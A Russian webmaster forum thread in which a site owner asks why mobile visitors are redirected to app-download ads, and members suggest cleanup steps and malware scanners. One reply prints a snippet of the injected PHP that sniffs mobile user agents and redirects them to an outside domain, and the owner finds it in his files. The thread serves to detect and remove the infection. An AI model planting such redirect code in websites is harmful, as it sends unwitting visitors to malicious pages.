Заражен сайт помогите

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:42

Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Позитивный человек

moretz-rf

Сообщений: 267 Регистрация: Апр 2013

14 Апреля 2013 23:50

Цитата

Позитивчег пишет:
Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

Изменено: moretz-rf - 14 Апреля 2013 23:51

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:53

Вы скажите по сути в чем проблема именно где может скрипт залит, но я ничего не нашел

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:06

Цитата
Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

При чем тут вообще хостинг?? Тем более за такую баснословную цену. Или лишь бы ляпнуть что нибудь?
Автору - поищите заразу в .htaccess. Даже если у главного домена на хостинге там зараза сидит, то и дополнительные домены все будут редиректить на мобильную хрень. Потом поменяйте пароли на фтп и на хостинге

Coder

Сообщений: 10608 Регистрация: Мар 2013

15 Апреля 2013 00:06

1. проверьте тщательно компы, с которых подсоединяетесь к сайту - фтп, антивирусными программами
2. Удалите из фтп клиентов все сохраненные пароли.
3. Поменяйте все фтп пароли.
4. проверьте все файлы, особенно вновь измененные и сравните с эталонными от СМС
5. Проверьте все js скрипты
6. скачайте скрипт Ай-Болит: revisium.com/ai/
7. примерно так. если шаблон шарезный или нуленая смс, то обратите внимание - вредоносное может быть зашито в них изначально.

Дополнительно по ай-болиту: revisium.com/kb/scan_site_windows.html

Изменено: Coder - 15 Апреля 2013 00:10

✓ Проверенные скрипты и полезности для сайта

✓ Курсы

✓ Сервис временных ссылок

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

обновлял полностью все файлы ничего не помогает в том числе и htaccess, при заходе с тела сразу редирект на вирусняк

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

хостинг moyhosting.com

Coder

Сообщений: 10608 Регистрация: Мар 2013

15 Апреля 2013 00:13

По ай-болиту посмотрите еще здесь: revisium.com/kb/virusonsite.html

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:16

Айболит чет мне не помог. Больше минуты не сканирует, а файлов много и не успевал за это время. Приходилось вручную искать

Coder

Сообщений: 10608 Регистрация: Мар 2013

#10

15 Апреля 2013 00:24

Цитата
mazesk пишет: Приходилось вручную искать

Все механизированные средства лишь дополнения к работе самого человека. Но при неприятности лучше воспользоваться всем, что имеется - больше вероятность качества.

fortnoxby

Сообщений: 390 Регистрация: Авг 2012

#11

15 Апреля 2013 00:27

Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

Coder

Сообщений: 10608 Регистрация: Мар 2013

#12

15 Апреля 2013 00:28

Цитата
mazesk пишет: поищите заразу в .htaccess

Редирект может быть и средствами php и js : htaccesstools.com/articles/redirection/

mazesk

Сообщений: 105 Регистрация: Янв 2013

#13

15 Апреля 2013 00:30

Да я ж не против

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

#14

15 Апреля 2013 00:33

Цитата

fortnoxby пишет:
Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

да действительно есть такое) интересно как оно туда попало?

Coder

Сообщений: 10608 Регистрация: Мар 2013

#15

15 Апреля 2013 00:33

Цитата
mazesk пишет: Да я ж не против

Я это к тому, что лучше бы везде искать, и сразу по всем возможным направлениям.

Похожие темы:

23.02.2020 20:28	Перевод сайта на англ.язык
28.07.2019 09:45	Перенос описания категории вниз сайта, под посты
26.06.2019 18:48	Сайт неправильно отдаёт 404
17.06.2019 09:37	Помощь по сайту
29.04.2019 19:19	Не работает код с сайта issuu

Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
19:33 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 19:06 Стоит ли добавлять сайт в Rambler топ 100? 17:02 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 15:12 Несколько статей хорошо выдаются в Гугле, но отвратительно в Яндексе 13:40 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 11:41 2Index - быстрая индексация страниц сайта и обратных ссылок 09:56 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг	18:00 TokenTrade — Ваш новый надежный обменник 12:59 Бустмаркет 12:57 garantcoin.io - быстрый и надёжный сервис обмена криптовалюты GarantCoin 12:51 №1 Рассылка / Инвайтинг [TELEGRAM] \| Приватный метод 12:50 Trustpilot Reviews \| Подниму рейтинг вашей компании 12:50 Продвижение YouTube видео в топ поиска \| Любой тип контента \| Гарантия результата 12:50 Установка\|Настройка\|Доработка\|Наполнение сайтов\|Дизайн\|3D\|Видеомонтаж	20:43 Добро пожаловать в цифровой мир... 15:59 Про мясо 23:09 ПП от PMS remote.team - 200$ за команду 13:28 Компьютерная мышь 22:55 Ну что, кто куда деваете свои сайты? 22:34 Используете беспроводные наушники? 22:26 Какой фильм посмотреть сегодня вечером?